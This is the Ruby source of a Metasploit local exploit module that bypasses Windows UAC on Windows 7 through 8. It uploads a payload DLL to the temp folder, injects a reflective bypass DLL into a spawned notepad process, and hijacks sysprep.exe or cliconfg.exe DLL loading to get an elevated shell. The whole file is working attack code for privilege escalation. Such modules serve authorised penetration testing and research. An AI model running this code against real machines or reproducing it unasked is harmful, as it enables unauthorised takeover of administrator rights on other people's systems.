Windows Escalate UAC Protection Bypass (In Memory Injection)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Exploit::EXE
  include Exploit::FileDropper
  include Post::File
  include Post::Windows::Priv
  include Post::Windows::ReflectiveDLLInjection
  include Post::Windows::Runas

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Escalate UAC Protection Bypass (In Memory Injection)',
        'Description' => %q{
          This module will bypass Windows UAC by utilizing the trusted publisher
          certificate through process injection. It will spawn a second shell that
          has the UAC flag turned off. This module uses the Reflective DLL Injection
          technique to drop only the DLL payload binary instead of three separate
          binaries in the standard technique. However, it requires the correct
          architecture to be selected, (use x64 for SYSWOW64 systems also).
          If specifying EXE::Custom your DLL should call ExitProcess() after starting
          your payload in a separate process.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
          'mitnick',
          'mubix', # Port to local exploit
          'Ben Campbell', # In memory technique
          'Lesage', # Win8+ updates
          'OJ Reeves' # Win 8+ updates
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [
          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
        'DefaultTarget' => 0,
        'References' => [
          ['URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/'],
          ['URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html']
        ],
        'DisclosureDate' => '2010-12-31',
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_railgun_api
              stdapi_sys_process_attach
              stdapi_sys_process_memory_allocate
              stdapi_sys_process_memory_write
              stdapi_sys_process_thread_create
            ]
          }
        }
      )
    )
  end

  def exploit
    # Validate that we can actually do things before we bother
    # doing any more work
    validate_environment!
    check_permissions!

    # get all required environment variables in one shot instead. This
    # is a better approach because we don't constantly make calls through
    # the session to get the variables.
    env_vars = get_envs('TEMP', 'WINDIR')

    case get_uac_level
    when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
        UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
        UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
      fail_with(Failure::NotVulnerable,
                "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
    when UAC_DEFAULT
      print_good('UAC is set to Default')
      print_good('BypassUAC can bypass this setting, continuing...')
    when UAC_NO_PROMPT
      print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
      shell_execute_exe
      return
    end

    dll_path = bypass_dll_path
    payload_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.dll"

    upload_payload_dll(payload_filepath)

    pid = spawn_inject_proc(env_vars['WINDIR'])

    file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)
    run_injection(pid, dll_path, file_paths)

    # Windows 7 this is cleared up by DLL but on Windows
    # 8.1 it fails to delete the file.
    register_file_for_cleanup(file_paths[:szElevDllFull])
  end

  def bypass_dll_path
    # path to the bypassuac binary
    path = ::File.join(Msf::Config.data_directory, 'post')

    sysarch = sysinfo['Architecture']
    if sysarch == ARCH_X64
      unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)
        fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System')
      end
    elsif (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)
      fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
    end

    ::File.join(path, "bypassuac-#{sysarch}.dll")
  end

  def check_permissions!
    # Check if you are an admin
    vprint_status('Checking admin status...')
    admin_group = is_in_admin_group?

    if admin_group.nil?
      print_error('Either whoami is not there or failed to execute')
      print_error('Continuing under assumption you already checked...')
    elsif admin_group
      print_good('Part of Administrators group! Continuing...')
    else
      fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
    end

    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
      fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
    end
  end

  def run_injection(pid, dll_path, file_paths)
    vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
    begin
      path_struct = create_struct(file_paths)

      vprint_status("Opening process #{pid}")
      host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
      exploit_mem, offset = inject_dll_into_process(host_process, dll_path)

      vprint_status("Injecting struct into #{pid}")
      struct_addr = host_process.memory.allocate(path_struct.length)
      host_process.memory.write(struct_addr, path_struct)

      vprint_status('Executing payload')
      thread = host_process.thread.create(exploit_mem + offset, struct_addr)
      print_good("Successfully injected payload in to process: #{pid}")
      client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000)
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error("Failed to Inject Payload to #{pid}!")
      vprint_error(e.to_s)
    end
  end

  # Create a process in the native architecture
  def spawn_inject_proc(win_dir)
    print_status('Spawning process with Windows Publisher Certificate, to inject into...')
    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
      cmd = "#{win_dir}\\sysnative\\notepad.exe"
    else
      cmd = "#{win_dir}\\System32\\notepad.exe"
    end
    pid = cmd_exec_get_pid(cmd)

    unless pid
      fail_with(Failure::Unknown, 'Spawning Process failed...')
    end

    pid
  end

  def upload_payload_dll(payload_filepath)
    payload = generate_payload_dll({ dll_exitprocess: true })
    print_status('Uploading the Payload DLL to the filesystem...')
    begin
      vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
      write_file(payload_filepath, payload)
      register_file_for_cleanup(payload_filepath)
    rescue Rex::Post::Meterpreter::RequestError => e
      fail_with(Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}")
    end
  end

  def validate_environment!
    fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?

    version_info = get_version_info
    # According to https://raw.githubusercontent.com/hfiref0x/UACME/c998cb1f1bafd36f566f17208b915dc48dda5edf/README.md
    if version_info.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win8)
      print_good("#{version_info.product_name} may be vulnerable.")
    else
      fail_with(Failure::NotVulnerable, "#{version_info.product_name} is not vulnerable.")
    end

    if is_uac_enabled?
      print_status('UAC is Enabled, checking level...')
    else
      unless is_in_admin_group?
        fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
      end
    end
  end

  def get_file_paths(win_path, payload_filepath)
    paths = {}

    version_info = get_version_info
    if version_info.win7_or_2008r2?
      paths[:szElevDll] = 'CRYPTBASE.dll'
      paths[:szElevDir] = "#{win_path}\\System32\\sysprep"
      paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep"
      paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe"
    else
      paths[:szElevDll] = 'NTWDBLIB.dll'
      paths[:szElevDir] = "#{win_path}\\System32"
      # This should be fine to be left blank
      paths[:szElevDirSysWow64] = ''
      paths[:szElevExeFull] = "#{paths[:szElevDir]}\\cliconfg.exe"
    end

    paths[:szElevDllFull] = "#{paths[:szElevDir]}\\#{paths[:szElevDll]}"
    paths[:szTempDllPath] = payload_filepath

    paths
  end

  # Creates the paths struct which contains all the required paths
  # the dll needs to copy/execute etc.
  def create_struct(paths)
    # write each path to the structure in the order they
    # are defined in the bypass uac binary.
    struct = ''
    struct << fill_struct_path(paths[:szElevDir])
    struct << fill_struct_path(paths[:szElevDirSysWow64])
    struct << fill_struct_path(paths[:szElevDll])
    struct << fill_struct_path(paths[:szElevDllFull])
    struct << fill_struct_path(paths[:szElevExeFull])
    struct << fill_struct_path(paths[:szTempDllPath])

    struct
  end

  def fill_struct_path(path)
    path = Rex::Text.to_unicode(path)
    path + "\x00" * (520 - path.length)
  end
end